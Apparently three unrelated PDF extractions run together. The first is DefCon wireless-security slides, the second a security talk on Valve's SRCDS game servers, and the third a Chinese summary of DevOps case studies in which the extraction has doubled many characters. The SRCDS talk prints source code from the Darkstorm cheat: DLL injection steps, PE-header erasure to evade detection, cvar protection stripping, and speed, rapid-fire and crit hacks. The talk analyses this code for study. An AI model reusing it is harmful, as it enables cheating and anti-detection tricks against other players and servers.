things you can do to help make things better.) ● If you show how one of these possible flaws can be broke, submit to present it at shmoocon 2006) DefCon 13 Did you want more gear? Okey dokey. CowboyM, show 'em what you got. DefCon 13 New Gear Demo DefCon 13 And Bruce gets to rant, too! DefCon 13 Bluetooth Security ● Things have gotten worse, not better – Millions more radios than last year – Several high profile vulnerabilities – Near zero focus from enterprises • Trifinite.org’s work – Blooover quite the uber tool DefCon 13 Bluetooth Security ● Several other attacks via AT commands – Dialing, getting data, etc… not good things to do without authentication • Pairing attacks, known for years, are now being coded and used • WIDS still seems to equal 802.11 tho… – Gonna be a bad year for IT security DefCon 13 Defending Wireless Networks ● We seemed to have covered a lot of ground on the Offensive.. What about Defense *boom boom* Defense! ● First there was Host Spot Defense Kit (HSDK) – Released BH Fed 03 – Looked for directed rogue AP attacks against your client – OS X, Linux, and Windows code DefCon 13 Defending Wireless Networks ● At the time of HSDK, there was NO capability for rogue detection in commercially avail software ● Today, we’re still not much better – AirDefense Mobile, some other small stuff – Rogues are THE BIGGEST threat against enterprise networks • So, while the industry is still finding their whatnot with both hands, we’re making… DefCon 13 Hot Spot Defense Kit v2 ● Enterprise wireless IDS systems look for any attack, not just one directed at a particular client ● When you are on the road (or don’t have the “luxury” of an enterprise WIDS) you need the same kind of protection DefCon 13 Hot Spot Defense Kit v2 ● HSDK v 2 aims to be an environmental monitor of sorts – Looks for any zip in the wire, not just ones directly effecting the client – If you’re in downtown Baltimore, and someone starts shooting, you tend to freak out even if they’re not shooting at you… wireless shouldn’t be any different DefCon 13 HSDK v2 ● Still under development ● Looking for: – Mass auth/deauth/assoc attacks – Fake AP signatures – Reinjection attacks (hard) – The standard rogue detection stuff from v1 • If something is detected, the green ball turns red (step away from the computer) – If security software isn’t usable, it’s useless DefCon 13 Speaking of… ● As security professionals, we sure haven’t learned much – Security needs to be usable by the users ● Users need hueristic decisions made for them and presented in red or green balls – Security admins need to act like professionals and have a real understanding of their operations IT Security Professional Normal Users IDS IDS Knowledge really needed by user A real Enterprise View Host and Enterprise INTEGRITY Monitoring DefCon 13 Potter’s Pyramid of IT Security Needs IDS Patch Mgt Op. Procedures Firewalls Auth / Auth Software ACLs Sec Honeypots Sophistication and Operational Cost DefCon 13 Links DefCon 13 Another Shmoo Announcement Goes Here DefCon 13 Thanks! Questions?
pdf
Well, really, just SRCDS, but who really cares? Bruce Potter, Logan Lodge [email protected], [email protected] Gaming is a USD47 billion global market. Console gaming alone is estimated to be USD27 billion in size. PC online games is a USD6.5 billion industry. Projected to be USD13 billion by 2012. Online MMOGs is a USD3.5 billion industry. Casual gaming is a USD1.5 billion industry. Read more: http://www.techvibes.com/blog/gameon-finance-2.0-key-gaming- industry-trends-and-market-overview#ixzz0Ch84uUJ0&B At least not talking about them in a coherent fashion There are a lot of reviews that focus on gameplay There are industry analysis sites There are many reviews of gaming hardware Few public discussions of security Few public discussions regarding the merits and impact of underlying technology Beginning to see cultural/anthropological discussions Publisher provided game servers Pretty much all console gaming Some PC games such as WoW Community driven game servers What drives people to run game servers? It’s a lot like OSS Convenience, fame, money, fun Call of Duty • CoD2 • CoD4 • CoD WW Half-Life • Half Life • TFC • Counter Strike Source Engine • HL2DM • TF2 • Left4Dead • CS:Source Battlefield • BF • BF2 There are others.. Quake, UT, etc.. Why? Valve has created a platform that not only supports their needs, but allows for massive amounts of customization Huge number of servers deployed Gametracker.com has CS:S as #2 (10700 Servers, 25000 players), L4D as #6 (3000 Servers, 3000 Users), TF2 as #9 (2300 Servers, 8500 Users) at 8pm on a Monday Steam has ~1.5Million active users each day… many of them playing Source-based games The real reason: I play a LOT of TF2 150 hours on demoman.. Yeah, it’s a problem The big challenge: provide a good gaming experience for the person with a 1.6GHz PIV on a 256k DSL line and a person with an i7 on the ass end of a 25Mbps FIOS connection 256kbps 768kbps SRDS is a complex piece of software Tries to provide Real Time service on OS’s that aren’t RTOS Enforces complex mathematical models of where players are, where they are going, and what they’re doing Distributes content to clients that need it Attempts to control cheating Allows spectating of the matches Supports remote administration Is highly extensible Pretty impressive for free But then again, the better it is, the more people will stand up servers, and the more people will buy the client and play Simple premise Simple premise is key Pong had 8 words on front… “Avoid missing ball for high score” and “Insert coin” Red team? Kill Blue. Blue team? Kill Red. Sometimes there’s a cart, or flag, or something.. But mostly it’s about destroying the other side Attention to detail on art direction and supporting technology Seriously, take a look at this http://www.valvesoftware.com/publications/2007/ NPAR07_IllustrativeRenderingInTeamFortress2_Slides.pdf You can’t always be sitting in front of your server to change the settings RCON is the SRCDS mechanism for sending game commands to the server Change number of rounds, rates, level, ban, kick, etc.. Can be sent through the game via console Also third party scripts like SRCDS.py DANGER: RCON access is functionally equivalent to shell access Can execute programs and save files with the privilege of the user running SRCDS Don’t run as root! SRCDS has a robust set of third party plug-ins Custom sounds Gameplay modifications Protection mechanisms Server administration Kicks/bans MetaMod, as an example, provides a clean interface for plugin writers to the SRCDS engine SourceMod is a popular admin and gameplay mod engine that uses MetaMod Rather than giving out RCON passwords, use something like SourceMod Valve releases patches that can be applied automatically via their update tool Valve releases patches… uh.. “whenever” Can be disruptive to server admins SRCDS is highly optimized for different platforms Patches can cause issues on AMD but not Intel, for example Different games can be broken by different patches Over time, the games bloat.. Count on it Cheating comes in many shapes and sizes With SRCDS, there are many cheating mechanisms “built in” Materials, sounds, etc can all be customized on both the server and the client side Obviously, can be used to make the game more unique and fun It can also be used to give yourself an advantage It’s a movie… doesn’t work in a PDF. Download this preso from www.nomoose.org to watch It’s a movie… doesn’t work in a PDF. Download this preso from www.nomoose.org to watch It’s a movie… doesn’t work in a PDF. Download this preso from www.nomoose.org to watch It’s a movie… doesn’t work in a PDF. Download this preso from www.nomoose.org to watch It’s a movie… doesn’t work in a PDF. Download this preso from www.nomoose.org to watch Valve implemented a game variable, sv_pure, to try and control this Sv_pure=0 is the default. No enforcement Sv_pure=1 causes the client to scan the materials, sounds, and models to verify they’re the same as the original Valve content Some custom content is allowed (sprays and such) Custom materials can be whitelisted server side Sv_pure=2 results in no custom content Sv_pure increases load time Sv_pure uses CRC32 Finding a collision in CRC32 is a bit easier than MD5 ;) Darkstorm is a publicly available cheat written by Kalvin (http://www.projectvdc.com/wordpress/) and other members from the Game-Deception web forum Credits to: (Patrick, wav, tabris, Lawgiver, aVitamin, gir489, CampStaff, and s0beit) Open source code Written in C++ Lots of cheats available Load our DLL Standard DLL injection techniques apply Get Process ID (via: name of Window or Process name) Allocate space in process' virtual address space Create a remote thread in the target's process space and have it kick off your DLL Darkstorm injects into the hl2.exe process Remove the PE header Unlink our module from the PEB linked list Detours to hook various API calls PE Randomizer to make signature based detection more challenging (credit: cht1) These methods sound familiar…where have we seen them before? Virus? Userland rootkit? Darkstorm only uses one of these methods (contains code for PEB unlinking, but not in use) void CMemoryTools::RemovePEHeader( DWORD dwModuleBase ) { PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwModuleBase; PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)( (DWORD)pDosHeader + (DWORD)pDosHeader->e_lfanew ); if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) //valid PE header? return; if(pNTHeader->Signature != IMAGE_NT_SIGNATURE) //valid PE header? return; if(pNTHeader->FileHeader.SizeOfOptionalHeader) { DWORD dwProtect; WORD Size = pNTHeader->FileHeader.SizeOfOptionalHeader; //pointer to the optional header portion of the PE VirtualProtect( (PVOID)dwModuleBase, Size, PAGE_EXECUTE_READWRITE, &dwProtect ); //allow us to write RtlZeroMemory( (PVOID)dwModuleBase, Size ); //zero it out VirtualProtect( (PVOID)dwModuleBase, Size, dwProtect, &dwProtect ); //reset the permissions } } void UnprotectCvars( void ) { ConCommand *pVar = (ConCommand*)g_pCvar->GetCommands( ); //pointer to list of commands ConVar *pConsistency = g_pCvar->FindVar( "sv_consistency" ); //pointer to sv_consistency ConVar *pCheats = g_pCvar->FindVar( "sv_cheats" ); //pointer to sv_cheats while( pVar ) //cycle through commands { if( pVar->IsFlagSet( FCVAR_CHEAT ) ) pVar->m_nFlags &= ~FCVAR_CHEAT; /flip the bit for fcvar_cheat if( pVar->IsFlagSet( FCVAR_REPLICATED ) ) pVar->m_nFlags &= ~FCVAR_REPLICATED; //flip the bit for fcvar_replicated if( pVar->IsFlagSet( FCVAR_PROTECTED ) ) pVar->m_nFlags &= ~FCVAR_PROTECTED; //flip the bit for fcvar_protected if( pVar->IsFlagSet( FCVAR_SPONLY ) ) pVar->m_nFlags &= ~FCVAR_SPONLY; //flip the bit for fcvar_sponly pVar = (ConCommand*)pVar->GetNext( ); } pConsistency->SetValue( 0 ); pCheats->SetValue( 1 ); //allow 'cheat' commands to be run server side } void __stdcall Hooked_CreateMove( int sequence_number, float input_sample_frametime, bool active ) Called on every tick of the game Essentially the entry point for our code to run From here it cycles through the enabled cheats and executes the appropriate routines This is the first stop for this cheat code (Un)fortunately the most recent update to TF2 broke this cheat There was a class method (EyeAngles()) that was made private in the latest update The AIMBOT relied on this method to 'Aim' Source code for this is too long, so a quick overview: Get list of entities (players & objects) Found a player? not me? Solid? other team? Get my loc and fov, get vector from me to target. Is target in my fov? Change my Eyeposition to face target's hitbox There are 5 to choose from. But really, who's going to choose one other than the head... Fire! if( gCvars.misc_speed_on && g_pCvar ) //is the speed hack enabled and do we have an interface to console commands { ConVar* pSpeed = g_pCvar->FindVar( "host_timescale" ); //pointer to CVAR host_timescale if( pSpeed ) { if( gCvars.misc_speed > 1 && bIsSpeedKey( gCvars.misc_speed_key ) ) //hack enabled? button pushed? { pSpeed->SetValue( gCvars.misc_speed ); //set the CVAR to the specified value } else { pSpeed->SetValue( 1.0f ); //set CVAR to 1 } } } if( gCvars.misc_autopistol && pCommand->buttons & IN_ATTACK && //cheat enabled, do we have access to the required interface ( iGetWeaponID( pBaseWeapon ) == WEAPONLIST_SCOUTPISTOL || //are we holding the right weapon? iGetWeaponID( pBaseWeapon ) == WEAPONLIST_ENGINEERPISTOL || iGetWeaponID( pBaseWeapon ) == WEAPONLIST_SPYPISTOL ) ) { static bool bInAttack = false; //stores whether we're attacking or not, set externally if ( bInAttack ) //if we're attacking (i.e. pushing the left mouse button) pCommand->buttons |= IN_ATTACK; //flip the bit that says you're firing (rapid fire) else pCommand->buttons &= ~IN_ATTACK; //else, flip it back bInAttack = !bInAttack; //reset our state } __asm { mov ecx, pBaseWeapon; //structure containing weapon info (crit chance, etc.) mov eax, [ecx+0x16B4]; //grab persistent seed push eax; //save it mov eax, [ecx]; mov eax, [eax+0x528]; //IsShotCritical call eax; mov iResult, eax; //Save value at AL - 1 for crit, 0 for sad panda pop eax; mov ecx, pBaseWeapon; mov [ecx+0x16B4], eax; //restore persistent seed } if( pCommand->buttons & IN_ATTACK ) { pCommand->buttons &= ~IN_ATTACK; //not crit time, cry some twinkletoes bWaitFire = true; } if( bWaitFire && (BYTE)iResult ) { pCommand->buttons |= IN_ATTACK; //crit time, attack! bWaitFire = false; } Demo of Wireshark dissector for SRCDS traffic http://www.shmoo.com/srcds/ There’s a lot more here.. But it’s a start Interested? Capture what you learn and share it b/c there are others who re inventing the wheel every day www.nomoose.org [email protected], [email protected]
pdf
DevOps 实践指南精要 作者:张乐 2018.04 Case Study Operation InVersion at LinkedIn (2011) 启示:需要将偿还技术债作为⽇日常⼯工作的⼀一部分 2011年年IPO之后的六个⽉月,LinkedIn 持续与痛苦的、有问题的部署⽃斗争 VP of Engineering决定停⽌止所有功 能开发两个⽉月 彻底检修环境、部署、架构问题 背景 2003年年成⽴立,帮助⽤用户 “connect to your network for better job opportunities. 2015年年11⽉月数据 350 million会员,每秒数万请求 后台系统每秒百万次查询请求 开始时LinkedIn主要运⾏行行在⾃自开发的 Leo应⽤用上 Java单体式应⽤用 通过Servlets服务⻚页⾯面,并管理理与后 台很多Oracle DB的JDBC连接 随着早年年业务发展,两个关键服务从 Leo分离出来 会员关系图谱,在内存中 会员查询,在上个服务之上 到2010年年,⼤大多数新开发使⽤用新服 务,在Leo外围有100个左右 问题是Leo 2周才发布⼀一次 Leo系统有显著的问题 尽管可以垂直升级,如内存和CPUs Leo经常在⽣生产环境宕机 很难排查问题和回复 很难发布新的代码 每当要发布⼀一组变更更时,站点崩溃混 乱,需要⼯工程师⼯工作到深夜解决问题 到2011年年,问题已经⽆无法忍受 需要Kill Leo,分解为很多⼩小的功能和⽆无状态服务 VP of Engineering 决定完全停⽌止新功能 ⼯工作,整个部⻔门修复站点的核⼼心基础设施 业务和团队的需要 对公众宣布这⼀一决定时,是可怕的事情 好处 ⼤大量量积极的结果 创建了了全套的软件和⼯工具,帮助开发代码 不不⽤用再等待数周让新功能上到主站 ⼯工程师可以开发新的服务 通过⼀一系列列⾃自动化验证,发现 影响现有功能的缺陷和问题 ⽴立即发布到主站 主要升级每天三次 通过构建了了安全的⼯工作系统,创造了了价值 更更少⼯工作到深夜 更更多时间⽤用于开发新功能和创新 整个⼯工程师组织都聚焦在改进⼯工具和 部署、基础架构、开发⽣生产率 成功构建了了⼯工程敏敏捷性 2010年年有超过150个独⽴立服务,今天有超过750个 总结 LinkedIn⽀支付了了接近10年年的技术债务 提升了了稳定性和安全性 ⽀支撑公司未来阶段的成⻓长 代价是2个⽉月全部的聚焦在⾮非功能需求, 以及所有承诺功能的损失 把寻找和修复问题作为⽇日常⼯工作的⼀一部分,管理理技 术债务,我们可以避免这种 “near death” 的体验 API Enablement at Target (2015) 背景 Target 是美国第六⼤大零售商 每年年花费超过 $1 billion 在技术领域 在以前,需要10个不不同的团队才能完成⼀一台Server分配 如果出现问题,会停⽌止变更更并防⽌止进⼀一步出现问题,但这让⼀一切更更糟 问题 获取环境和执⾏行行部署成为开发团队的显著困难 获取需要的数据也同样困难 库存信息、架构、商店信息等核⼼心 数据被锁在遗留留系统和⼤大型机中 我们经常有多个数据来源, 特别是电⼦子商务和实体商店 由不不同团队负责 使⽤用不不同数据结构和优先级 如果⼀一个新的开发团队为客户构建新功能 需要3-6个⽉月进⾏行行集成,获取所需要的数据 更更糟的是,需要另外3-6个⽉月进⾏行行⼿手⼯工测试, 确认没有破坏关键功能 因为是在⼀一个紧耦合系统中 需要⼤大量量项⽬目经理理,因为需要协调和交接 开发把时间消耗在队列列中等待,⽽而不不是 交付结果和把事情做完 需要管理理20-30不不同团队依赖和交互 这种获取和构建数据的较⻓长的前置周期 危及了了业务⽬目标 集成实体商店和电⼦子商务的供应链 超出了了原有的设计⽬目标:只是从供应 商分发到商店 需要将商品送到商店和客户家中 改进点 API Enablement team 让团队需要交付能⼒力力按天⽽而不不是按⽉月 让Target内部的⼯工程师可以获取和存储需要的数据 时间约束在团队选择中扮演了了重要⻆角⾊色 需要团队承担⼯工作,⽽而不不是外包出去 需要⼯工程师技能,⽽而不不是管理理合同 为了了确保⼯工作不不是在队⾥里里中等待,需要 拥有整个栈,并且接管运维需求 引⼊入了了很多⽀支持持续集成和持续交付的⼯工具 为⽀支撑⼤大规模增⻓长,引⼊入Cassandra database and Kafka message broker 当改进申请权限时,被告知No,但是团队仍 然坚持去做,因为团队知道需要它 效果 在随后的两年年,API Enablement Team实现了了53个新业务能⼒力力 集成Pinterest时⾮非常简单 因为只需要提供⾃自⼰己的APIs 2014年年,API Enablement Team 服务了了超过每个⽉月15亿API调⽤用 2015年年,增⻓长到了了每个⽉月170亿API 调⽤用,横跨90个不不同的APIs 为了了⽀支持这种能⼒力力,每周例例⾏行行进⾏行行 80次部署 业务价值 数字化销售在2014假⽇日季增⻓长42% 在Q2⼜又增⻓长32% 2015⿊黑⾊色星期五,产⽣生了了28万实体店取货订单 2015年年⽬目标是1800家商店中的450家⽀支持电⼦子订单(原来100家) 启示 涌现理理论 强⽣生公司案例例 技术架构:API/微服务化 组织结构:⼩小型⾃自组织团队 Continuous Integration at Bazaarvoice 背景 Bazaarvoice为数千家零售商提供⽤用 户访谈和投票服务 2012,开始进⾏行行开发和发布流程变⾰革 $ 120million收⼊入,准备IPO 业务核⼼心是对话应⽤用 Java单体系统,⾃自2006年年开始,累计5百万⾏行行代码 服务跑在1200台服务器器上,横跨4⼤大数据中⼼心和多个云服务提供商 已切换到敏敏捷开发流程,2周迭代周期 ⽬目前10周产品发布周期,渴望提升发布频率 已经开始做架构解耦,从单体架构转向微服务 2012年年⾸首次尝试 两周的发布周期 进展不不顺利利,导致⼤大量量混乱 44个⽣生产事故被⽤用户发现 管理理层:我们不不能再做这样的事情了了 ⽬目标:双周发布,但不不会导致客户不不可⽤用 发布更更频繁,⽀支持AB测试 加强功能到⽣生产环境的流动 现有的三⼤大问题 缺乏各级⾃自动化测试,双周迭代⽆无法预防⼤大规模失败 版本控制分⽀支策略略允许开发提交的代码⽴立即到⽣生产发布 团队运⾏行行微服务可以独⽴立发布,⽽而单体架构发布时经常出现问题,反之亦然 解决⽅方案 持续集成 接下来的六周,开发停⽌止功能开发,专注在写⾃自动化测试集 包括单元测试-Junit, 回归测试-Selenium 使⽤用TeamCity建设部署流⽔水线 主⼲干/分⽀支发布模型 每两周创建⼀一个新的发布分⽀支 没有新的提交允许到这个分⽀支 除⾮非紧急情况-需要⾛走审批流程 这个分⽀支⽤用于⾛走QA流程,最终晋级 到⽣生产环境 效果 ⼀一直运⾏行行测试,进⾏行行变更更时得到了了⼀一定级别的安全性 更更重要的,⽴立即发现某⼈人破坏了了什什么事情, ⽽而不不是只在⽣生产环境发现 改进对可预测性和发布质量量的作⽤用 2012年年1⽉月版本,44个客户事故(持续集成⼯工作开始) 2012年年3⽉月6⽇日版本,5天延迟,5个客户事故 2012年年3⽉月22⽇日,按时,1个客户事故 2012年年4⽉月5⽇日,按时,0客户事故 每两周发布很成功,于是转到了了每周发布 由于发布例例⾏行行化,很容易易进⾏行行两倍的发布 下⼀一步⽬目标 加速测试,从3+⼩小时到⼩小于1⼩小时 减少环境数,从4到3(开发,测试,⽣生产,去掉Staging) 转向全⾯面的持续交付模型 更更快,⼀一键式部署 Daily Deployments at CSG International (2013) 背景 美国经营账单打印最⼤大的公司之⼀一 ⾸首席架构师和开发VP 投⼊入改进发布的可预测性和可靠性 发布频率从每年年两次到四次 发布周期从28周降到14周 开发团队使⽤用持续集成,每天部署代码到 测试环境,但⽣生产发布由运维团队管理理 ⽣生产环境低频发布,⻛风险⾼高,约束不不同, 包括安全,防⽕火墙,负载均衡和SAN 解决⽅方案 成⽴立共享运维组SOT 管理理所有环境(开发,测试,⽣生产) 每天部署开发和测试环境 每天获得反馈 ⽣生产环境部署每14周 但之前每天都在开发测试环境演练 由于这个团队每天做部署,有⾃自动化改进的积极性 让环境看起来尽可能相似 包括安全访问权限和负载权衡 修改架构设计,减少不不同环境差异性 原来 交接给DBA团队,让他们搞定 ⾃自动化测试使⽤用很⼩小数据集,不不真实 现在 交叉培训开发,⾃自动化Schema变更更, 每天执⾏行行,移除与DBA的交接 在脱敏敏的客户数据上进⾏行行真实压⼒力力测试 结果 ⽣生产环境事故下降91% MTTR下降80% ⽣生产环境部署前置时间从14天减少到1天 Etsy—Self-Service Developer Deployment, an Example of Continuous Deployment Etsy的部署由希望执⾏行行部署的任何⼈人 进⾏行行,如开发、运维、信息安全 部署流程安全和常规化 新员⼯工第⼀一天上班就能做⽣生产环境部署 想要部署的⼯工程师进⼊入⼀一个聊天室 把⾃自⼰己加⼊入到部署队列列中,看到部署活动进展 ⿎鼓励⼯工程师相互帮助 ⽬目标是简单和安全部署到⽣生产环境,⽤用最少的步骤和仪式 解决⽅方案 在开发提交代码之前,他们在⾃自⼰己的 ⼯工作站在⼀一分钟内运⾏行行4500个单测 所有外部调⽤用,如数据库等都被模拟 代码提交到主⼲干后,超过7000主⼲干 ⾃自动化测试在CI服务器器执⾏行行 最⻓长的测试11分钟可以执⾏行行完 这些测试如果顺序执⾏行行要半⼩小时 分拆为不不同⼦子集,10台机器器并⾏行行 冒烟测试:系统级测试,运⾏行行curl调 ⽤用phpunit测试案例例 端到端GUI驱动的测试 在QA或准⽣生产环境(使⽤用⽣生产硬件) ⼀一键式部署QA,准⽣生产和⽣生产环境 在IRC(聊天室)的⼈人知道部署了了什什 么代码,diff的链接 不不在⾥里里⾯面的⼈人通过邮件等⽅方式通知 效果 2009年年,Etsy部署是有压⼒力力和恐惧的事情 2011年年,部署例例⾏行行化,每天25~50次 帮助⼯工程师快速把代码上到⽣生产环境,交付价值给客户 Dixons Retail—Blue-Green Deployment for Point-Of-Sale System (2008) 背景 最⼤大的英国零售商 数千POS系统,分布在数百零售商店 尽管蓝绿部署通常是在线web服务,但 是也可以显著降低POS系统升级的⻛风险 传统上,升级POS系统是 big bang式的瀑布项⽬目 POS客户端和服务端⼀一同升级 带来⼤大范围的不不可⽤用时⻓长(通常整个周末) 显著的⽹网络带宽(推送新客户端软件到零售商店) 如果没有完全按照计划,会给商店运营带来混乱 解决⽅方案 蓝绿策略略,建⽴立2个服务端⽣生产环境版本,同时⽀支持POS客户端新⽼老老版本 在计划的POS升级之前,开始通过缓慢的⽹网 络给零售商店发送客户端新版本的安装包 安装新软件保持⾮非活跃状态 同时⽼老老版本正常运⾏行行 当所有POS客户端就绪 升级的客户端与服务端测试成功 新客户端软件部署到所有的客户 商店经理理被授权可以决定是否发布新版本 可以根据业务需要选择升级或等待 结果 显著平滑和快速发布 更更⾼高的商店经理理满意度 更更少的打断商店运营 Dark Launch of Facebook Chat (2008) 背景 2008年年,有超过7000万⽇日活⽤用户 2015年年超过⼗十亿⽇日活⽤用户 有⼀一个聊天的新功能 最资源密集型的操作不不是发送聊天消息 ⽽而是保持每⼀一个在线⽤用户获知他们好 友的在线/空闲/离线状态 这个计算密集型的功能,是⼀一个最⼤大技术任务,花费⼀一年年完成 复杂性部分来⾃自达到性能需求所采⽤用的多样化的技术,包括 C++,JavaScript,PHP,Erlang 解决⽅方案 Chat团队将代码签⼊入版本控制库,可以每天部署⽣生产环境 ⼀一开始,聊天功能只对Chat团队内部可⻅见 然后对所有内部员⼯工可⻅见,但对外部 ⽤用户通过GateKeeper功能开关隐藏 每个⽤用户Session,在浏览器器中运⾏行行 的JavaScript,都有⼀一个测试⼯工具 聊天的UI元素隐藏 浏览器器可以发送隐藏的测试聊天信息 到后台⽣生产环境的聊天服务 模拟类⽣生产环境的负载 在发布给客户之前找到和修复性能问题 聊天功能发布只需两个步骤 修改Gatekeeper的配置,让部分外部⽤用户可⻅见 让⽤用户加载新的JavaScript,呈现UI,并禁⽤用测试 结果 正式发布时,⾮非常顺利利,轻松⼀一夜之间完成从0到7000万⽤用户的规模化 在发布过程中,逐步扩⼤大规模,从内部⽤用户到1%,到5%等等 Evolutionary Architecture at Amazon (2002) 背景 Amazon.com 始于1996 单体应⽤用 运⾏行行在WebServer上,后台数据库通信 Obidos,奥⽐比都斯 管理理所有业务逻辑,所 有展示逻辑,所有功能 相似 推荐 定制 评论 Obidos发展为过于紊乱,复杂的共享关系, 独⽴立的块⽆无法按需扩展 解决⽅方案 SOA架构,隔离,很多组件可以快速和独⽴立 ⼤大型架构变更更进⾏行行了了五年年(2001-2005) 从2层单体架构到完全分布式、去中⼼心, 服务平台服务很多不不同应⽤用 Lesson1:严格的⾯面向服务,带来隔离 Lesson2:禁⽌止客户端直接数据库访问,服务 伸缩和改进可靠性时,不不必包含客户端 Lesson3:开发和运维流程从⾯面向服务受益 服务模式是团队快速创新的使能者 每个服务有团队完全负责 功能架构、构建、运维 结果 惊⼈人的提升⽣生产率和稳定性 2011年年,每天执⾏行行⼤大约15000次部署 2015年年,每天解决136000次部署 Strangler Pattern at Blackboard Learn (2011) 背景 技术学习机构,2011年年收⼊入$650 million 始于1997年年的J2EE代码,部分Perl 代码嵌⼊入其中 2010年年,聚焦在⽼老老系统的复杂性和 增⻓长的前置时间 构建、集成和测试越来越复杂和易易出错 产品越⼤大,越⻓长前置时间和更更差的产出 从集成流程获取反馈需要24到36个⼩小时 代码提交数开始减少,代码⾏行行数 量量持续增加,客观的展示出代码 变更更复杂度不不断提升 解决⽅方案 2012年年开始,进⾏行行代码重构,使⽤用绞杀者模式 创建构件块,让开发者⼯工作在分离的模块上, 与单体代码基解耦,通过特定的API访问 ⼯工作更更加⾃自治,不不需要与其他开发组⼤大量量沟通和协调 单体应⽤用的仓库代码开始减少 因为开发将代码转移到构建块的仓库 每个⼯工程师选择⼯工作在构建块仓库, 更更⾃自治、⾃自由和安全 构件库代码库快速增⻓长代码⾏行行和提交数 结果 开发⼯工作在构建块架构上 改进代码模块化 ⼯工作更更独⽴立和⾃自由 更更快,更更好的反馈,更更好的质量量 Creating Self-Service Metrics at LinkedIn (2011) Auto-Scaling Capacity at Netflix (2012) Netflix开发Scryer⼯工具,作为 Amazon Auto Scaling的补充 根据历史使⽤用模式,预测客户需求, 分配必要的容量量 解决AAS的三个问题 处理理快速峰值 AWS实例例启动过慢,需要10~45分钟 中断后迅速缩减的客户需求导致AAS 移除⼤大量量计算资源,⽤用于未来需求 AAS在容量量安排时,未考虑流量量使⽤用模式 客户访问模式可预测,虽然不不符合⾼高松分布 Scryer使⽤用差异点分析排除异常点,然后使⽤用FFT快 速傅⾥里里叶变换,线性回归等技术,保护合法的流量量 显著提升客户访问体验,改进服务可 ⽤用性,降低Amazon EC2成本 Advanced Anomaly Detection (2014) The Launch and Hand-off Readiness Review at Google (2010) 背景 ⾯面向职能的运维⼯工程师,SRE(2004) 2004年年SREs共7⼈人,2014年年1200⼈人 软件⼯工程师做运维的任务 即使新产品⾜足够重要,开发仍然要⾃自管理理服 务⾄至少6个⽉月时间,然后才有资格申请SRE 解决⽅方案 发布新服务安全检查清单 Launch Readiness Review ⾯面向⽤用户和接受⽣生产流量量之前 Hand-Off Readiness Review 服务转交给运维团队,LRR之后数⽉月 每个阶段会分配⼀一个SRE帮助他们 理理解需求和达到需求 让产品团队⾃自管理理⽣生产环境的服务 让开发按运维⽅方式⼯工作 根据LRR和HRR指导 服务转交更更容易易和可预测 上下游共情 SRE在早期帮助产品团队,是重要的⽂文化规范 Doubling Revenue Growth through Fast Release Cycle Experimentation at Yahoo! Answers (2010) 背景 能够多快迭代和集成客户反馈,就能多快学习产⽣生更更⼤大的影响 雅⻁虎问答,从每六周发布到每周多次发布 2009年年,与其他Q&A公司竞争 每个⽉月⼤大概1.4亿访问⽤用户,超过2千 万活跃⽤用户回答问题(20种语⾔言) ⽤用户增⻓长和收⼊入平缓,⽤用户参与度下滑 最⼤大的互联⽹网社区游戏 数千万⽤用户试图通过⾼高质量量和快速问 题解答⽽而升级 有很多机会修改游戏规则,社区交互 Twitter,Facebook等都在使⽤用实验,每周⾄至少两次 如果实验不不能频繁做,团队⽇日常⼯工作只是 聚焦在他们做什什么,⽽而不不是客户结果 解决⽅方案 团队转换到每周部署,然后是每周多次 建设新功能实验的能⼒力力 成果 通过12个⽉月的实验 ⽉月访问数提升72% ⽤用户参与度三倍提升 两倍收⼊入 优化点 第⼀一个回答速度 最佳回答速度 每个答案投票 每⼈人每周回答数 第⼆二搜索⽐比率 Code Reviews at Google (2010) 规模化主⼲干开发和持续集成的典范 背景 1.3万⼈人基于主⼲干开发,每周5500次 提交,每周数百次部署 2010年年,每分钟20多个变更更提交到主 ⼲干,导致每个⽉月有50%的代码变化 解决⽅方案 需要有⼤大量量的纪律律,尤其是强制的Code Review 代码可读性(强制⻛风格向导) 分配代码⼦子树Owner,维护⼀一致性和正确性 代码透明和代码贡献横跨团队 Pair Programming Replacing Broken Code Review Processes at Pivotal Labs (2011) 背景 2011年年,有两种CodeReview⽅方法 结对编程 基于Gerrit的Code Review 两个指定的⼈人+1才能提交Trunk 采⽤用Gerrit,开发常常花费⼀一周等待 接收到需要的评审结果 等待评审(⼀一周)的时候其他⼈人提交代码了了 必须合并所有的变更更,运⾏行行测试,有时 还要重新提交代码评审 解决⽅方案 为了了解决问题,拆除了了所有的Gerrit代码评审流程 替换为结对编程 把代码评审的周期从周降低到⼩小时 结对编程需要⽂文化⽀支持 评审代码跟写代码⼀一样有价值 ⽂文化不不具备时,结对编程是有价值的临时实践 Standardizing a New Technology Stack at Etsy (2010) 显著缩减⽣生产环境所⽀支持的技术数量量 2010年年,选择少数整个组织都可以 全部⽀支持的技术,其余的根除掉 排除掉了了lighttpd, Postgres, MongoDB, Scala, CoffeeScript, Python 所有schema-less数据库的优势都被 运维问题取消掉了了,最后还是把 MongoDB换为已有的MySQL ⽇日志 图标 监控 ⽣生产遥测 迁移Etsy整个平台到PHP和MySql 使得开发和运维能够理理解整个技术栈, 每个⼈人都可以贡献到单⼀一平台 每个⼈人都可以阅读、重写和修复其他⼈人的代码 Pre-face Aha! moment Gene Kim 从1999年年开始研究⾼高绩效技术组织 最早的发现:跨越开发、IT运营、信息安 全等不不同职能的边界对成功⾄至关重要 2006年年经历航空公司订票服务外包项⽬目 ⼤大型、以年年为单位的发布 每次发布导致外包商巨⼤大的混乱和破坏 遭到SLA处罚,因为有影响客户的运⾏行行中断 因为利利润率下滑⽽而裁掉有经验的员⼯工 ⼤大量量的返⼯工和救⽕火,⽆无法满⾜足来⾃自客户⽇日益增⻓长的Backlog 每个⼈人都觉得要丢失合同 There must be a better way 2009 Velocity Conference 描述了了通过架构、技术实践和⽂文化规 范实现了了让⼈人震惊的结果 ⾮非常兴奋,找到了了⼀一直寻找的better way:DevOps 推⼴广DevOps,成为编写The Phoenix Project的动机 Jez Humble 2000年年,第⼀一份⼯工作 是两个技术员⼯工中的⼀一员,做所有的事情,⽹网 络、编码、⽀支持、系统管理理 通过FTP从⾃自⼰己的⼯工作站部署⽣生产环境 2004年年到ThoughtWorks,与70个 ⼈人共同⼯工作 作为8⼈人团队的⼀一员,⼯工作是部署系 统到准⽣生产环境 ⼏几个⽉月后,把需要2周的⼿手⼯工部署, 转换为需要1⼩小时的⾃自动化部署 